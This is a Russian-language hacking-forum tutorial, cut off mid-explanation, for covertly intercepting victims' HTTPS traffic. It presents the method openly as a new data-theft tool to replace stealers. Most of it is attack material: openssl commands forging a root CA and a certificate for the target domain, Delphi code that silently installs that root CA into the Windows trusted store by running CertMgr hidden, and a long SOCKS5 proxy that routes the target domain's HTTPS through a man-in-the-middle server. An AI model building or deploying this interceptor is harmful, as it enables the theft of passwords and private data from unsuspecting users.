Слушаем и перехватываем httpS траффик

  • Автор темы Admin

Admin

#1
Администратор
Регистрация
31.12.2019
Сообщения
6,486
Реакции
12
Друзья, прежде чем кидать камнями за кривость кода прошу учесть, что все разрабатывалось за два дня на коленке и не было времени разбираться с модификацией чужих классов дабы сделать
код более удобным шустрым и правильным. В данном случае целью является не дать рабочий код, а
показать метод и принцип темы данной статьи. Предоставленный ниже код работает криво и с
глюками, но иногда работает.


Всем шалом, уважаемые пользователи.
Сегодня мы поговорим о https трафике и его перехвате. Для начала краткое введение для тех
кто не знает что это такое и зачем его перехватывать, а для остальных просто для дабы
освежить память. Но перед этим скажу, что из-за ограничения времени на исследование был
реализован перехват HTTPS трафика определенного целевого домена для IE, Edge и Chrome и
тестировался на Windows 7. Для успешной работы под другими браузерами нужно провести
дополнительное исследование, а для перехвата HTTPS со всех доменов нужно лишь добавить
автоматическую генерацию сертификатов под эти домены.


Вступление
HTTP трафик это трафик передаваемый от клиента веб-серверу и обратно. И в этом трафике
можно найти много вкусного. Фактически большая часть инфраструктуры по разработки малвари
нацелена именно на добычу этих данных. Но давным-давно (в далекой, далекой галакитке) была
внедрена надстройка над HTTP которая позволяла установить защищенной (шифрованное) соединение
и зовется она HTTPS. С каждым днем количество сайтов использующих https соединение растет,
количество сайтов использующих http снижается, а наиболее желанные цели уже давно используют
только HTTPS.
Почему же владельцу крупного проекта использовать HTTPS? HTTP трафик подвержен атаке Man
in the middle. Так как данные при обычном HTTPS соединение передаются в открытом виде, то,
установив простой сниффер, трафик можно было не только нюхать и изучать, но ещё и подменять.
Таким образом передача паролей и другой секретной информации по HTTP была и есть ненадежным
процессом. HTTPS же использует ассиметричное шифрование и механизм обмена сертификатами, что
позволяет не только надежно зашифровать трафик, но и подтвердить подлинность отправителя этих
данных. Поговорим об этом немного подробней.
Фактически процесс HTTPS соединения можно разделить на две части. Первая - обмен открытыми
ключами выбранного ассиметричного алгоритма шифрования и в дальнейшем обмен симметричными
ключами для шифрования основного потока данных. Фактически на этом этапе происходит
приблизительно следующее: сервер пересылает клиенту свой открытый ключ ассиметричного
алгоритма шифрования, клиент выбирает симметричный ключ, шифрует его и отсылает серверу,
дальше обмен трафиком используется только в зашифрованном виде с использованием выбранного
симметричного ключа. Так как симметричный ключ известен клиенту, а также высылается серверу в
зашифрованном ассиметричном алгоритмом виде, то перехватить его не является возможным.
Фактически его можно подменить, но по факту это приведет к тому, что проверка контрольной
суммы закончится провалом и шифрованный обмен данными будет нарушен, что приведет к сбросу
соединения или попытке повторно обменяться ключами. С этим мы разобрались. Но сейчас многие
заметят, что и этот вариант защиты подвержен атаке Man in the middle. Если между клиентом и
сервером поставить перехватчик который будет общаться с сервером от имени клиента, а клиенту
вышлет свой ассиметричный ключ, то он может без всяких осложнений дешифровать трафик, делать
с ним нужные действия и, зашифровав их повторно своим ключом, отправить клиенту. Для борьбы с
этой "уязвимостью" и существует вторая часть установки SSL/TLS соединения. А удостоверение
"личности" сервера посредством передачи удостоверяющего SSL сертификата клиенту и подпись
открыто ключа им же. Если SSL сертификат не будет угнан, то подпись каких-либо данных им
подтверждает, что данные принадлежат определенному серверу/домену. SSL сертификат выдается
одним из доверенных центров сертификации, что позволяет защититься от попытки представиться
чужим именем (предоставить клиенту самосгенерированный сертификат). Фактически в 99% случаев
если ваш сертификат выдан не доверенным центром сертификации, то соединение будет сброшено и
клиент получит аллерт с уведомлением о возникшей проблеме. Оставшийся 1% - вы сами добавили
сертификат в доверенные. В этом случае соединение пройдет успешно.
Если обобщить все выше написанное, то выходит что подменить или перехватить HTTPS трафик
не является возможным, а для добычи полезных ископаемых разработчики малвари выдали в мир
продукты под классификацией стиллер. Но так ли это?


Поставим цели.
Цель проста - перехватить HTTPS трафик и успешно получить из него данные. Зачем вообще это
нужно? Правильно. Современные инструменты угона данных успешно справляются с этим, но о них
уже давно известно и с ними идет активная борьба. Появление нового инструмента позволит
переломить чашу весов на другую сторону. Поэтому спрашивать зачем заниматься некромантией и
воскрешать давно умерший метод это спрашивать зачем нужно оживлять динозавров. Разумеется
чтобы создать парк юрского периода. Хотя не стоит исключать спортивный интерес и получить
приз в конкурсе статей. Я не альтруист. Ведь кто владеет спайсом - тот правит вселенной.
Кроме того, чтобы не раздувать статью, будем считать, что у нас всего один целевой домен и
нюхать трафик идущий к другим доменам нам не нужно.


Основа: SSL сертификат
Что же нам нужно сделать чтобы осуществить задуманное? Из введения можно сделать вывод что
единственным методом осуществить атаку Man in the middle для HTTPS трафика является подмена
SSL сертификата и реализация промежуточного сервера между клиентом и целевым сервером.
Значит первым делом нужно получить такой SSL сертификат выданый для целевого домена.
Первое что приходит на ум - это купить такой сертификат у доверенного поставщика. Но без
доступа к целевому серверу его не получить оффициальными путями, а значит от этого пути можно
отказаться. Нет, я понимаю, что купить можно всех и можно получить нужные сертификаты имея
связи, но в дальнейшем хотелось бы чтобы сниффер был универсальным и позволял нюхать трафик с
любого домена. Если платить подкупленному поставщику за каждый сертификат, то можно
разориться. Поэтому мы пойдем другим путем и сделаем этот сертификат сами. Прошу обратить
внимание, что хоть в данной статье для примера перехватывается трафик одного целевого домена,
то в дальнейшем данный метод можно расширить автоматической генерацией сертификатов для
любого домена и таким образом сделать код универсальным.
Для реализации этой части воспользуемся дистрибутивом openssl и создадим корневой
сертификат и SSL сертификат. Выполняем следующие команды:
openssl req -x509 -nodes -days 3650 -newkey rsa:4096 -keyout rootCA.key -out -rootCA.crt -subj "/C=RU/ST=Moscow/L=Moscow/O=A1/OU=IT-Department/CN=A1" -sha1 openssl genrsa -out target.key 2048 openssl req -new -key taget.key -out target.csr (на этом этапе в процессе ввода данных о сертификате в пое Common Name нужно вписать целевой домен) openssl x509 -req -in target.csr -CA rootCA.crt -CAkey rootCA.key -CAcreateserial -out target.crt -days 365 -sha1 По факту завершения работы с openssl мы получим файлы rootCA.key, rootCA.crt, target.key и
target.crt которые понадобятся нам в дальнейшем.


Скрытая установка сертификата.
SSL cертификат у нас есть, но при попытке использовать его в качестве сертификата домена
любой браузер обрубит соединение и уведомит пользователя о том, что сертификат
самоподписанный и к нему не доверия. Что же делать? Все просто. На этом этапе нужно
установить корневой сертификат rootCA.crt в качестве доверенного корневого сертификата.
Открываем родной и любимый (а многими не любимый) Delphi и пишем установщик сертификата.
В uses добавляем модуль Classes, Windows и ShellAPI,а затем пишем следующую функцию:
procedure InstallCA; var RS:TResourceStream; begin RS := TResourceStream.Create(HInstance,'CA',RT_RCDATA); RS.SaveToFile(Extractfilepath(paramstr(0))+'ca.crt'); RS.Free; RS := TResourceStream.Create(HInstance,'CertMgr',RT_RCDATA); RS.SaveToFile(Extractfilepath(paramstr(0))+'CertMgr.Exe'); RS.Free; ShellExecute(0,'open',PChar(Extractfilepath(paramstr(0))+'CertMgr.Exe'),PChar('/add /c "'+Extractfilepath(paramstr(0))+'rootCA.crt" /s /r localMachine Root'),nil,SW_HIDE); sleep(1000); end; Также не забываем добавить полученный при помощи OpenVPN rootCA.crt в ресурсы
разрабатываемого софта под именем CA и типом данных RT_RCDATA, а также CertMgr.exe под именем
CertMgr и типом данных RT_RCDATA. CertMgr - это утлита от Мелкомягких позволяющая управлять
сертификатами через консоль.
Что же делает этот волшебный кусок кода? Распаковывает на винт утлиту для установки
сертификата, а также сам сертификат и устанавливает его в хранилище доверенных корневых
сертификатов. Прошу учесть, что установка потребует права администратора. С этого момента
сертификат будет доверенным у IE, Enge и Chrome (самого популярного на текущий момент
браузера). С Opera и Firefox на текущий момент есть пробема, но у меня слишком мало времени
для завершения исследования. Если вкратце, то Opera и Firefox используют свои репозитории для
хранения сертификатов и просто к ним не подобраться, но думаю можно найти решение и для них.
Кроме того распакуем из ресурсов сертификат и ключ нашего SSL сертификата.
procedure UnpackCrt; var RS:TResourceStream; begin RS := TResourceStream.Create(HInstance,'Key',RT_RCDATA); RS.SaveToFile(Extractfilepath(paramstr(0))+'target.key'); RS.Free; RS := TResourceStream.Create(HInstance,'Crt',RT_RCDATA); RS.SaveToFile(Extractfilepath(paramstr(0))+'target.crt'); RS.Free; end; Разумеется следует добавить target.key и target.crt в ресурсы под типом данных RT_RCDATA и
именами Key и Crt.


SOCKS5 перехватчик
Сертификат у нас есть, доверие к нему теперь тоже есть. Осталось дело за малым -
перехватить трафик. Для начала создадим socks5 сервер. Его задача будет перенаправлять весь
трафик идущий на другие домены к ним, а трафик идущий на целевой домен отправлять к нашему
Man In The Middle. Но нам нужен только https трафик на целевой домен. Поэтому наш перехватчик
должен выполнять следующие задачи:
1. Если клиент просит предоставить доступ к не целевому домену - провести подключение к нему
и установить обычный обмен трафиком.
2. Если клиент просит предоставить HTTP доступ к целевому домену - провести подключение к
нему и установить обычный обмен трафиком.
3. Если клиент просит предоставить HTTPs доступ к целевому домену - провести подключение к
MITM серверу и установить обмен трафиком.
Задачи ясны. Приступаем к выполнению.
Для реализации перехватчика будем использовать самые обычные компоненты Delphi известные
как TClientSocket и TServerSocket. Они будут основой нашего SOCKS5 сервера. Не буду сейчас
заниматься оптимизацией кода и его усовершенствованием и поэтому соберу все на коленке.
Главное чтобы работало. Первым делом объявим типы
type Tbc=array [0..499] of record Socket:TCustomWinSocket; CC:TClientSocket; TC:TidTCPClient; TS:TidTCPServer; IO:TIdSSLIOHandlerSocketOpenSSL; IOS:TIdServerIOHandlerSSLOpenSSL; inp:boolean; con:string; addr:string; port:string; stage:byte; busy:boolean; end; Tbs - это массив активных подключений содержащий в себе сокет входящего подключения,
клиентский сокет, элементы MITM сервера TC и TS, а также компоненты для успешной работы
моудлей с SSL и без него (IO, IOS). Флаг inp будет сигнализировать о наличие данных в буффере
TC сокета. con, addr и port содержат данные о типе адреса, самом адресе и порту соединения.
stage - счетчик этапов соединения. busy в взеведенном состояние указывает на то, что данное
соединение занято.
Объявим глобальную переменную bc:Tbs.
Кроме того объявим тип

Ttr=array [0..1000000] of record CC:TClientSocket; TC:TidTCPClient; TS:TidTCPServer; IO:TIdSSLIOHandlerSocketOpenSSL; IOS:TIdServerIOHandlerSSLOpenSSL; busy:boolean; end; Это некое подобие мусоросборщика. В него будут закидываться все объекты которые уже не
нужны системе. В текущим варианте куча мусора не очищается. Но это всего-лишь прототип для
разового показа. Объявим и кучу мусора в качестве глобаьной переменной tr:Ttr; Далее
пробежимся по всему bc и инициализируем его:
procedure TForm1.FormCreate(Sender: TObject);
var i:integer;
begin
for i:=0 to 4999 do
begin
bc.stage:=0;
bc.busy:=false;
bc.CC:=nil;
bc.TC:=nil;
bc.IO:=nil;
bc.TS:=nil;
bc.IO:=nil;
bc.IOS:=nil;
end;
end;
Кроме того добавим глобальную переменную target в которую укажем адрес целевого сервера.
Если адрес будет отличаться, то будет перехватчик пробросит соединение сразу на конечный
сервер.
target:string='target.com';
Кинем на форму TServerSocket (Кто хочет - создавайте динамически. Я же пока воспользуюсь
визуальными компонентами) и переименуем его в SS. Названим порт 7777 и поменяем Active на
true. Теперь после запуска программы сразу будет создан сокет на порту 7777 выступающий у нас
в роли Socks5 сервера.
Первым делом клиент будет подкючаться к нашему серверу. Поэтому создадим обработку события
OnClientConnect. На этом этапе нам нужно связать сокет подключения с одним из свободных
элементов bc. Если все элементы bc заняты - прерываем соединение.
Для этого нам понадобится вспомогательная функция которая будет производить поиск первого
элемента bc с флагом busy равным false и возвращать его идентификатор.
function FindFreeBC:integer;
var i:integer;
begin
result:=-1;
for i:=0 to 4999 do
if not bc.busy then
begin
result:=i;
Exit;
end;
end;
procedure TForm1.SSClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
var id:integer;
begin
id:=FindFreeBC;
if id=-1 then
begin
Socket.Close;
Exit;
end;
bc[id].Socket:=Socket;
bc[id].stage:=0;
bc[id].busy:=true;
bc[id].inp:=false;
end;
При подключение нового клиента мы ищем первую свободную ячейку в bc. Если такой нет -
разрываем соединение. Если же она есть, то занимаем её устанавливая ей флаг busy и сохраняя
указатель на сокет для дальнейшего поиска связей.
Теперь позаботимся об освобождение ячеек bc при отключение клиента при помощи обработки
события OnClientDisconnect. procedure TForm1.SSClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
var id:integer;
i:integer;
begin
id:=-1;
for i:=0 to 4999 do
if bc.busy and (bc.Socket=Socket) then
begin
id:=i;
Break;
end;
if id=-1 then
Exit;
FreeBC(id);
end;
Здесь мы производим поиск занятого элемента bc где указатель на сокет равен указателю на
вызвавший процесс объект. Если элемент bc не найден, то дальнейшие действия не требуются. В
противном случае освобождаем элемент bc воспользовавшись функцией FreeBC в которую передаем
идентификатор элемента.
procedure AddToTrash(id:integer;mode:byte);
var i:integer;
begin
for i:=0 to 1000000 do
if not tr.busy then
begin
case mode of
0:
tr.CC:=bc[id].CC;
1:
begin
tr.TC:=bc[id].TC;
tr.IO:=bc[id].IO;
end;
2:
begin
tr.TS:=bc[id].TS;
tr.IOS:=bc[id].IOS;
end;
end;
tr.busy:=true;
Exit;
end;
end;
procedure FreeBC(id:integer);
begin
if bc[id].CC<>nil then
begin
bc[id].CC.OnDisconnect:=nil;
bc[id].CC.OnRead:=nil;
bc[id].CC.OnError:=Form1.ClientSocket1NoError;
AddToTrash(id,0);
bc[id].CC:=nil;
end;
if bc[id].TC<>nil then
begin
bc[id].TC.OnConnected:=nil;
bc[id].TC.OnDisconnected:=nil;
AddToTrash(id,1);
bc[id].TC:=nil;
bc[id].IO:=nil;
end;
if bc[id].TS<>nil then
begin
bc[id].TS.OnExecute:=nil;
bc[id].TS.OnConnect:=nil;
bc[id].TS.Active:=false;
AddToTrash(id,2);
bc[id].TS:=nil;
bc[id].IOS:=nil;
end;
bc[id].stage:=0;
bc[id].busy:=false;
end;
Здесь из все обнуляются все указатели на обработчики событий всех задействованных
компонентов и они отправляются в кучу мусора. Активные указатели на них обниляются. Этап
соединения становится равным 0 и элемент освобождается.
И последний этап подготовительных работ - обработка ошибок соединения OnClientError в
который мы обнуляем код ошибки и освобождаем элемент bc если такой есть.
procedure TForm1.SSClientError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
var id:integer;
i:integer;
begin
ErrorCode:=0;
id:=-1;
for i:=0 to 4999 do
if bc.busy and (bc.Socket=Socket) then
begin
id:=i;
Break;
end;
if id=-1 then
Exit;
FreeBC(id);
end;
Клиент успешно соединился с нашим socks5 сервером и начал обмен данными. Разработаем
процедуру обработки поступающего от клиента трафика и обработаем событие OnClientRead. Я в
начале предоставлю весь разработанный код, а затем расскажу что и как работает.
function ByteToIPv4(s:string):string;
begin
result:=inttostr(byte(s[1]))+'.'+inttostr(byte(s[2]))+'.'+inttostr(byte(s[3]))+'.'+inttostr(b
yte(s[4]));
end;
function ByteToIPv6(s:string):string;
var i:integer;
begin
result:='';
for i:=1 to length(s) do
result:=result+inttoHex(byte(s),2)+':';
result:=copy(result,1,length(result)-1);
end;
function ByteToPort(s:string):string;
begin
result:=inttostr(byte(s[1])*256+byte(s[2]));
end;
procedure TForm1.SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
var q:string;
id:integer;
i:integer;
begin
q:=Socket.ReceiveText;
id:=-1;
for i:=0 to 4999 do
if bc.busy and (bc.Socket=Socket) then
begin
id:=i;
Break;
end;
if id=-1 then
begin
Socket.Close;
Exit;
end;
case bc[id].stage of
0:
begin
if q[1]<>char(5) then
begin
FreeBC(id);
Socket.Close;
Exit;
end;
q:=char(5)+char(0);
Socket.SendText(q);
bc[id].stage:=1;
end;
1:
begin
if (q[1]<>char(5)) and (q[2]<>char(1)) then
begin
FreeBC(id);
Socket.Close;
Exit;
end;
bc[id].con:=q[4];
q:=copy(q,5,length(q));
case byte(bc[id].con[1]) of
1:
begin
bc[id].addr:=copy(q,1,4);
bc[id].port:=copy(q,5,2);
end;
3:
begin
bc[id].port:=copy(q,length(q)-1,2);
bc[id].addr:=copy(q,2,byte(q[1]));
end;
4:
begin
bc[id].addr:=copy(q,1,16);
bc[id].port:=copy(q,17,2);
end;
end;
if (target=bc[id].addr) and (ByteToPort(bc[id].port)<>'80') then
begin
bc[id].TC:=TidTCPClient.Create(nil);
bc[id].IO:=TIdSSLIOHandlerSocketOpenSSL.Create(nil);
bc[id].IO.OnStatusInfoEx := IdSSLIOHandlerSocketOpenSSL1StatusInfoEx;
bc[id].IO.SSLOptions.SSLVersions:=[sslvTLSv1,sslvTLSv1_1,sslvTLSv1_2];
bc[id].IO.SSLOptions.Method:=sslvSSLv23;
bc[id].TC.IOHandler:=bc[id].IO;
if (bc[id].IO is TIdSSLIOHandlerSocketBase) then
TIdSSLIOHandlerSocketBase(bc[id].IO).PassThrough:= False;
case byte(bc[id].con[1]) of
1:
begin
bc[id].TC.IPVersion:=Id_IPv4;
bc[id].TC.Host:=ByteToIPv4(bc[id].addr);
end;
3:
begin
bc[id].TC.IPVersion:=Id_IPv4;
bc[id].TC.Host:=bc[id].addr;
end;
4:
begin
bc[id].TC.IPVersion:=Id_IPv6;
bc[id].TC.Host:=ByteToIPv6(bc[id].addr);
end;
end;
bc[id].TC.Port:=strtoint(ByteToPort(bc[id].port));
bc[id].TC.OnDisconnected:=IdTCPClient1Disconnected;
try
bc[id].TC.Connect;
except
q:=char(5)+char(4)+char(0);
case byte(bc[id].con[1]) of
1:
q:=q+char(1)+bc[id].addr+bc[id].port;
3:
q:=q+char(3)+char(length(bc[id].addr))+bc[id].addr+bc[id].port;
4:
q:=q+char(4)+bc[id].addr+bc[id].port;
end;
Socket.SendText(q);
FreeBC(id);
Socket.Close;
Exit;
end;
bc[id].TS:=TidTCPServer.Create(nil);
bc[id].TS.DefaultPort:=id+2000;
bc[id].IOS:=TIdServerIOHandlerSSLOpenSSL.Create(nil);
bc[id].IOS.SSLOptions.SSLVersions:=[sslvTLSv1,sslvTLSv1_1,sslvTLSv1_2];
bc[id].IOS.SSLOptions.Method:=sslvSSLv23;
bc[id].IOS.SSLOptions.CertFile:=Extractfilepath(paramstr(0))+'target.crt';
bc[id].IOS.SSLOptions.KeyFile:=Extractfilepath(paramstr(0))+'target.key';
bc[id].IOS.SSLOptions.RootCertFile:=Extractfilepath(paramstr(0))+'rootCA.crt';
bc[id].TS.IOHandler:=bc[id].IOS;
bc[id].TS.OnExecute:=TSExecute;
bc[id].TS.OnConnect:=TSConnect;
bc[id].TS.Active:=true;
bc[id].CC:=TClientSocket.Create(nil);
bc[id].CC.OnDisconnect:=ClientSocket1Disconnect;
bc[id].CC.OnError:=ClientSocket1Error;
bc[id].CC.OnRead:=ClientSocket1Read;
bc[id].CC.OnConnect:=ClientSocket1Connect;
bc[id].CC.Host:='127.0.0.1';
bc[id].CC.Port:=id+2000;
bc[id].CC.Open;
end
else
begin
bc[id].CC:=TClientSocket.Create(nil);
bc[id].CC.OnDisconnect:=ClientSocket1Disconnect;
bc[id].CC.OnError:=ClientSocket1Error;
bc[id].CC.OnRead:=ClientSocket1Read;
bc[id].CC.OnConnect:=ClientSocket1Connect;
case byte(bc[id].con[1]) of
1:
bc[id].CC.Host:=ByteToIPv4(bc[id].addr);
3:
bc[id].CC.Host:=bc[id].addr;
4:
bc[id].CC.Host:=ByteToIPv6(bc[id].addr);
end;
bc[id].CC.Port:=strtoint(ByteToPort(bc[id].port));
bc[id].CC.Open;
end;
bc[id].stage:=3;
end;
3:
begin
if q[1]<>char(5) then
begin
FreeBC(id);
Socket.Close;
Exit;
end;
bc[id].CC.OnDisconnect:=nil;
bc[id].TC.OnDisconnected:=nil;
bc[id].TC.OnConnected:=nil;
bc[id].TC.OnDisconnected:=nil;
bc[id].TS.OnDisconnect:=nil;
bc[id].TS.OnConnect:=nil;
bc[id].TS.Active:=false;
AddToTrash(id,1);
bc[id].TC:=nil;
bc[id].IO:=nil;
AddToTrash(id,2);
bc[id].TS:=nil;
bc[id].IOS:=nil;
q:=char(5)+char(0);
Socket.SendText(q);
bc[id].stage:=1;
end;
4:
bc[id].CC.Socket.SendText(q);
end;
end;
procedure TForm1.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
var id:integer;
i:integer;
q:string;
begin
id:=-1;
for i:=0 to 4999 do
if bc.busy and (bc.CC=Sender) then
begin
id:=i;
Break;
end;
if id=-1 then
Exit;
for i:=0 to SS.Socket.ActiveConnections-1 do
if SS.Socket.Connections=bc[id].Socket then
begin
q:=char(5)+char(0)+char(0);
case byte(bc[id].con[1]) of
1:
q:=q+char(1)+bc[id].addr+bc[id].port;
3:
q:=q+char(3)+char(length(bc[id].addr))+bc[id].addr+bc[id].port;
4:
q:=q+char(4)+bc[id].addr+bc[id].port;
end;
SS.Socket.Connections.SendText(q);
end;
bc[id].stage:=4;
end;
procedure TForm1.ClientSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
var id:integer;
i:integer;
q:string;
begin
id:=-1;
for i:=0 to 4999 do
if bc.busy and (bc.CC=Sender) then
begin
id:=i;
Break;
end;
if id=-1 then
Exit;
FreeBC(id);
for i:=0 to SS.Socket.ActiveConnections-1 do
if SS.Socket.Connections=bc[id].Socket then
begin
if bc[id].stage=3 then
begin
q:=char(5)+char(4)+char(0);
case byte(bc[id].con[1]) of
1:
q:=q+char(1)+bc[id].addr+bc[id].port;
3:
q:=q+char(3)+char(length(bc[id].addr))+bc[id].addr+bc[id].port;
4:
q:=q+char(4)+bc[id].addr+bc[id].port;
end;
SS.Socket.Connections.SendText(q);
end;
SS.Socket.Connections.Close;
end;
end;
procedure TForm1.ClientSocket1NoError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
ErrorCode:=0;
end;
procedure TForm1.ClientSocket1Error(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
var id:integer;
i:integer;
q:string;
begin
ErrorCode:=0;
id:=-1;
for i:=0 to 4999 do
if bc.busy and (bc.CC=Sender) then
begin
id:=i;
Break;
end;
if id=-1 then
Exit;
FreeBC(id);
for i:=0 to SS.Socket.ActiveConnections-1 do
if SS.Socket.Connections=bc[id].Socket then
begin
if bc[id].stage=3 then
begin
q:=char(5)+char(4)+char(0);
case byte(bc[id].con[1]) of
1:
q:=q+char(1)+bc[id].addr+bc[id].port;
3:
q:=q+char(3)+char(length(bc[id].addr))+bc[id].addr+bc[id].port;
4:
q:=q+char(4)+bc[id].addr+bc[id].port;
end;
SS.Socket.Connections.SendText(q);
end;
SS.Socket.Connections.Close;
end;
end;
procedure TForm1.ClientSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
var id:integer;
i:integer;
q:string;
begin
q:=Socket.ReceiveText;
id:=-1;
for i:=0 to 4999 do
if bc.busy and (bc.CC=Sender) then
begin
id:=i;
Break;
end;
if id=-1 then
begin
Socket.Close;
Exit;
end;
for i:=0 to SS.Socket.ActiveConnections-1 do
if SS.Socket.Connections=bc[id].Socket then
SS.Socket.Connections.SendText(q);
end;
Итак, от клиента на наш перехватчик поступил какой-то набор трафика. Первым делом его
следует получить.
q:=Socket.ReceiveText;
Теперь нужно определить идентификатор элемента массива bc к которому принадлежит текущее
соединение. Для этого производим поиск указателя сокета в массиве при помощи уже известного
нам метода
id:=-1;
for i:=0 to 4999 do
if bc.busy and (bc.Socket=Socket) then
begin
id:=i;
Break;
end;
if id=-1 then
begin
Socket.Close;
Exit;
end;
Если элемента с таким хэндлом нет в массиве, то разрываем соединение и выходим из
обработки события. А вот дальше начинается самое интересное.
В зависимости от того на каком этапе сейчас находится соединение нужно провести различные
действия. Поэтому у нас есть возможность выбора по параметру stage case bc[id].stage of и
есть у нас следующие варианты:
1. Соединение было только что начато и stage имеет значение 0. В этом случае спецификация
протокола SOCKS5 говорит нам о том, что клиент должен прислать набор байт соответствующий 5,
количетсво поддерживаемых типов аутентификации и номера методов аутентификации. Нас
интересует только самый первый байт из буффера и остальные мы можем игнорировать. Если он не
равен 5, то клиент запрашивает не SOCKS5 соединение, а что-то другое и в этом случае
перехватчик обрубает соединение. В противном случае высылаем клиенту ответ содержащий байта 5
и 0. Т.е. подтверждение, что это socks5 сервер и указатель на то, что аутентификация не
требуется. Также меняем статус этапа соединения на 1.
0:
begin
if q[1]<>char(5) then
begin
FreeBC(id);
Socket.Close;
Exit;
end;
q:=char(5)+char(0);
Socket.SendText(q);
bc[id].stage:=1;
end;
2. От клиента пришла вторая пачка байт. Здесь содержиться информация о том куда следует
подключиться. Первый байт буффера должен быть равен 5. Второй 1 (остальные варианты нам не
подходят), третий байт зарезервирован. Если первый и второй байт не равны 5 и 1, то следует
разорвать соединение.
Дальше есть три варианта:
а) Следующий байт равен 1 - после него идет 4 байта IPv4 адреса и 2 байта порта к которым
надо соединиться. Записываем в bc[id].con значение 1, в bc[id].addr следующие 4 байта и в
bc[id].port последние два байта.
б) Следующий байт равен 3 - после него идет длинна имени домена, сам домен и 2 байта порта.
Записываем в bc[id].con значение 3, в bc[id].addr копируем столько байт сколько указано во
втором байте полученной строки после неё и в bc[id].port последние два байта.
в) Следующий байт равен 4 - после него идет 16 байт IPv6 адреса и 2 байта порта. Записываем в
bc[id].con значение 1, в bc[id].addr следующие 16 байт и в bc[id].port последние два байта.
Затем у нас вновь есть два варианта развития событий. Первый вариант - адрес равен
целевому домену и порт подключения не равен 80. В этом случае инициализирются эелементы MITM
сервера и производится подключение TC к целевому серверу. Если подключиться не получилось -
обрубаем активное соединение предварительно отправив клиенту уведомление о том, что хост
недоступен. Если же подключение прошло успешно, то инициализируем TS и клиентский сокет
подключенный к TC. Второй вариант - следует только обеспечить проброску трафика от клиента к
конечному серверу. В этом случае просто создается клиентский сокет с подключением к конечному
серверу и сразу же открывается. И также не забываем поменять этап соединения на 3.
1:
begin
if (q[1]<>char(5)) and (q[2]<>char(1)) then
begin
FreeBC(id);
Socket.Close;
Exit;
end;
bc[id].con:=q[4];
q:=copy(q,5,length(q));
case byte(bc[id].con[1]) of
1:
begin
bc[id].addr:=copy(q,1,4);
bc[id].port:=copy(q,5,2);
end;
3:
begin
bc[id].port:=copy(q,length(q)-1,2);
bc[id].addr:=copy(q,2,byte(q[1]));
end;
4:
begin
bc[id].addr:=copy(q,1,16);
bc[id].port:=copy(q,17,2);
end;
end;
if (target=bc[id].addr) and (ByteToPort(bc[id].port)<>'80') then
begin
bc[id].TC:=TidTCPClient.Create(nil);
bc[id].IO:=TIdSSLIOHandlerSocketOpenSSL.Create(nil);
bc[id].IO.OnStatusInfoEx := IdSSLIOHandlerSocketOpenSSL1StatusInfoEx;
bc[id].IO.SSLOptions.SSLVersions:=[sslvTLSv1,sslvTLSv1_1,sslvTLSv1_2];
bc[id].IO.SSLOptions.Method:=sslvSSLv23;
bc[id].TC.IOHandler:=bc[id].IO;
if (bc[id].IO is TIdSSLIOHandlerSocketBase) then
TIdSSLIOHandlerSocketBase(bc[id].IO).PassThrough:= False;
case byte(bc[id].con[1]) of
1:
begin
bc[id].TC.IPVersion:=Id_IPv4;
bc[id].TC.Host:=ByteToIPv4(bc[id].addr);
end;
3:
begin
bc[id].TC.IPVersion:=Id_IPv4;
bc[id].TC.Host:=bc[id].addr;
end;
4:
begin
bc[id].TC.IPVersion:=Id_IPv6;
bc[id].TC.Host:=ByteToIPv6(bc[id].addr);
end;
end;
bc[id].TC.Port:=strtoint(ByteToPort(bc[id].port));
bc[id].TC.OnDisconnected:=IdTCPClient1Disconnected;
try
bc[id].TC.Connect;
except
q:=char(5)+char(4)+char(0);
case byte(bc[id].con[1]) of
1:
q:=q+char(1)+bc[id].addr+bc[id].port;
3:
q:=q+char(3)+char(length(bc[id].addr))+bc[id].addr+bc[id].port;
4:
q:=q+char(4)+bc[id].addr+bc[id].port;
end;
Socket.SendText(q);
FreeBC(id);
Socket.Close;
Exit;
end;
bc[id].TS:=TidTCPServer.Create(nil);
bc[id].TS.DefaultPort:=id+2000;
bc[id].IOS:=TIdServerIOHandlerSSLOpenSSL.Create(nil);
bc[id].IOS.SSLOptions.SSLVersions:=[sslvTLSv1,sslvTLSv1_1,sslvTLSv1_2];
bc[id].IOS.SSLOptions.Method:=sslvSSLv23;
bc[id].IOS.SSLOptions.CertFile:=Extractfilepath(paramstr(0))+'target.crt';
bc[id].IOS.SSLOptions.KeyFile:=Extractfilepath(paramstr(0))+'target.key';
bc[id].IOS.SSLOptions.RootCertFile:=Extractfilepath(paramstr(0))+'rootCA.crt';
bc[id].TS.IOHandler:=bc[id].IOS;
bc[id].TS.OnExecute:=TSExecute;
bc[id].TS.OnConnect:=TSConnect;
bc[id].TS.Active:=true;
bc[id].CC:=TClientSocket.Create(nil);
bc[id].CC.OnDisconnect:=ClientSocket1Disconnect;
bc[id].CC.OnError:=ClientSocket1Error;
bc[id].CC.OnRead:=ClientSocket1Read;
bc[id].CC.OnConnect:=ClientSocket1Connect;
bc[id].CC.Host:='127.0.0.1';
bc[id].CC.Port:=id+2000;
bc[id].CC.Open;
end
else
begin
bc[id].CC:=TClientSocket.Create(nil);
bc[id].CC.OnDisconnect:=ClientSocket1Disconnect;
bc[id].CC.OnError:=ClientSocket1Error;
bc[id].CC.OnRead:=ClientSocket1Read;
bc[id].CC.OnConnect:=ClientSocket1Connect;
case byte(bc[id].con[1]) of
1:
bc[id].CC.Host:=ByteToIPv4(bc[id].addr);
3:
bc[id].CC.Host:=bc[id].addr;
4:
bc[id].CC.Host:=ByteToIPv6(bc[id].addr);
end;
bc[id].CC.Port:=strtoint(ByteToPort(bc[id].port));
bc[id].CC.Open;
end;
bc[id].stage:=3;
end;
3. На этом этапе CS находится в процессе соединения с конечным сервером или MITM сервером.
Если от
клиента придет какой-либо трафик, то соединение следует обрубить, но если клиент первым
байтом прислал 5, то он просит повторное соединение к socks5. В этом случае отправляем в кучу
мусора все активные элементы. Возвращаем клиенту ответ содержащий байты 5 и 0, а также
